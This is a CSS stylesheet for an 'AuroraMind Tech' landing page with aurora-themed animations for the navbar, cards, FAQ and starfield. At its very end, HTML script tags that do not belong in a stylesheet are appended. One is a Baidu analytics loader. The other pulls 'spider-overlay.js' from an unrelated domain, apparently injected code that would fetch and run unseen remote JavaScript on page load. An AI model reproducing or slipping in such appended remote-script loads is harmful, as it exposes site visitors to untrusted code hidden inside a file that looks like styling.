/* ============================================
   AuroraMind Tech - Landing Page Styles
   Theme: indigo-900/violet-800 dark night aurora
   ============================================ */

/* === Base & Scrollbar === */
html {
    scroll-behavior: smooth;
}

body {
    min-height: 100vh;
}

::-webkit-scrollbar {
    width: 6px;
}
::-webkit-scrollbar-track {
    background: #0a0820;
}
::-webkit-scrollbar-thumb {
    background: linear-gradient(to bottom, #6d28d9, #4338ca);
    border-radius: 3px;
}
::-webkit-scrollbar-thumb:hover {
    background: linear-gradient(to bottom, #7c3aed, #4f46e5);
}

/* === Selection === */
::selection {
    background: rgba(109, 40, 217, 0.4);
    color: #e9d5ff;
}

/* === Navbar === */
#navbar.scrolled {
    background: rgba(10, 8, 32, 0.85);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    border-bottom: 1px solid rgba(255, 255, 255, 0.05);
    box-shadow: 0 4px 30px rgba(0, 0, 0, 0.3);
}

/* === Aurora Background Bands === */
.aurora-band-1 {
    animation: aurora-shift-1 8s ease-in-out infinite;
}
.aurora-band-2 {
    animation: aurora-shift-2 10s ease-in-out infinite;
}
.aurora-band-3 {
    animation: aurora-shift-3 12s ease-in-out infinite;
}

@keyframes aurora-shift-1 {
    0%, 100% { transform: translateX(0) translateY(0); opacity: 0.6; }
    25% { transform: translateX(5%) translateY(-3%); opacity: 0.8; }
    50% { transform: translateX(-3%) translateY(2%); opacity: 0.5; }
    75% { transform: translateX(2%) translateY(-1%); opacity: 0.7; }
}

@keyframes aurora-shift-2 {
    0%, 100% { transform: translateX(0) translateY(0); opacity: 0.5; }
    50% { transform: translateX(-4%) translateY(3%); opacity: 0.8; }
}

@keyframes aurora-shift-3 {
    0%, 100% { transform: translateX(0); opacity: 0.4; }
    33% { transform: translateX(3%); opacity: 0.7; }
    66% { transform: translateX(-2%); opacity: 0.5; }
}

/* === Moon Decoration === */
.moon-container {
    animation: moon-float 6s ease-in-out infinite;
}

@keyframes moon-float {
    0%, 100% { transform: translateY(0); }
    50% { transform: translateY(-15px); }
}

/* === Feature Card Aurora Border on Hover === */
.feature-card {
    transition: transform 0.4s ease, box-shadow 0.4s ease;
}
.feature-card:hover {
    transform: translateY(-8px);
    box-shadow: 0 20px 60px rgba(109, 40, 217, 0.15);
}
.feature-card-border {
    background: linear-gradient(
        135deg,
        #10b981,
        #059669,
        #7c3aed,
        #8b5cf6,
        #6366f1,
        #4f46e5,
        #10b981
    );
    background-size: 300% 300%;
    animation: aurora-border-rotate 4s linear infinite;
    padding: 1.5px;
}
.feature-card-border::before {
    content: '';
    position: absolute;
    inset: 0;
    border-radius: inherit;
    background: inherit;
    background-size: inherit;
    animation: inherit;
    filter: blur(8px);
    opacity: 0.5;
}

@keyframes aurora-border-rotate {
    0% { background-position: 0% 50%; }
    50% { background-position: 100% 50%; }
    100% { background-position: 0% 50%; }
}

/* === Stats Cards === */
.stat-card {
    position: relative;
    transition: transform 0.4s ease, border-color 0.4s ease, box-shadow 0.4s ease;
}
.stat-card:hover {
    transform: translateY(-6px);
    box-shadow: 0 16px 48px rgba(109, 40, 217, 0.12);
}
.stat-card .constellation-dot {
    animation: star-twinkle 3s ease-in-out infinite;
}
.stat-card:nth-child(2) .constellation-dot { animation-delay: 0.5s; }
.stat-card:nth-child(3) .constellation-dot { animation-delay: 1s; }
.stat-card:nth-child(4) .constellation-dot { animation-delay: 1.5s; }

@keyframes star-twinkle {
    0%, 100% { opacity: 0.3; transform: scale(1); }
    50% { opacity: 1; transform: scale(1.5); }
}

/* === Testimonial Cards === */
.testimonial-card {
    transition: transform 0.4s ease, border-color 0.4s ease, box-shadow 0.4s ease;
}
.testimonial-card:hover {
    transform: translateY(-6px);
    box-shadow: 0 16px 48px rgba(109, 40, 217, 0.1);
}
.testimonial-card .text-5xl {
    text-shadow: 0 0 30px rgba(139, 92, 246, 0.3);
}

/* === FAQ Accordion === */
.faq-item {
    transition: border-color 0.4s ease;
}
.faq-item.active {
    border-color: rgba(139, 92, 246, 0.3);
    background: rgba(139, 92, 246, 0.03);
    box-shadow: 0 0 30px rgba(139, 92, 246, 0.08), inset 0 0 30px rgba(139, 92, 246, 0.03);
}
.faq-item.active .faq-icon {
    transform: rotate(45deg);
}
.faq-toggle {
    cursor: pointer;
    transition: background-color 0.3s ease;
}
.faq-toggle:hover {
    background: rgba(255, 255, 255, 0.02);
}
.faq-answer.open {
    max-height: 500px !important;
}

/* === Constellation SVG === */
#constellation-lines line {
    stroke-dasharray: 4 4;
    animation: constellation-pulse 4s ease-in-out infinite;
}
#constellation-lines line:nth-child(odd) { animation-delay: 0s; }
#constellation-lines line:nth-child(even) { animation-delay: 2s; }
#constellation-lines circle {
    animation: star-twinkle 3s ease-in-out infinite;
}
#constellation-lines circle:nth-child(odd) { animation-delay: 0s; }
#constellation-lines circle:nth-child(even) { animation-delay: 1.5s; }

@keyframes constellation-pulse {
    0%, 100% { opacity: 0.3; }
    50% { opacity: 0.8; }
}

/* === Starfield Canvas === */
#starfield {
    opacity: 0.7;
}

/* === CTA Section Aurora Animation === */
#cta .from-emerald-400\\/20 {
    animation: cta-aurora 6s ease-in-out infinite;
}

@keyframes cta-aurora {
    0%, 100% { opacity: 0.5; }
    50% { opacity: 0.8; }
}

/* === Footer Link Hover === */
footer a:hover {
    text-shadow: 0 0 8px rgba(139, 92, 246, 0.4);
}

/* === Responsive Adjustments === */
@media (max-width: 1023px) {
    #mobile-menu {
        background: rgba(10, 8, 32, 0.95);
        backdrop-filter: blur(20px);
        -webkit-backdrop-filter: blur(20px);
        border-radius: 0 0 16px 16px;
        border: 1px solid rgba(255, 255, 255, 0.05);
        border-top: none;
    }
}

@media (max-width: 640px) {
    .moon-container {
        width: 80px;
        height: 80px;
        top: 60px;
        right: 20px;
    }
    .stat-card .text-4xl {
        font-size: 2rem;
    }
}

/* === Smooth page load animations === */
@keyframes fadeInUp {
    from {
        opacity: 0;
        transform: translateY(30px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.feature-card, .stat-card, .testimonial-card, .faq-item {
    animation: fadeInUp 0.6s ease forwards;
    opacity: 0;
}

.feature-card:nth-child(1) { animation-delay: 0.1s; }
.feature-card:nth-child(2) { animation-delay: 0.2s; }
.feature-card:nth-child(3) { animation-delay: 0.3s; }

.stat-card:nth-child(1) { animation-delay: 0.1s; }
.stat-card:nth-child(2) { animation-delay: 0.2s; }
.stat-card:nth-child(3) { animation-delay: 0.3s; }
.stat-card:nth-child(4) { animation-delay: 0.4s; }

.testimonial-card:nth-child(1) { animation-delay: 0.1s; }
.testimonial-card:nth-child(2) { animation-delay: 0.2s; }
.testimonial-card:nth-child(3) { animation-delay: 0.3s; }

.faq-item:nth-child(1) { animation-delay: 0.1s; }
.faq-item:nth-child(2) { animation-delay: 0.15s; }
.faq-item:nth-child(3) { animation-delay: 0.2s; }
.faq-item:nth-child(4) { animation-delay: 0.25s; }
.faq-item:nth-child(5) { animation-delay: 0.3s; }
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>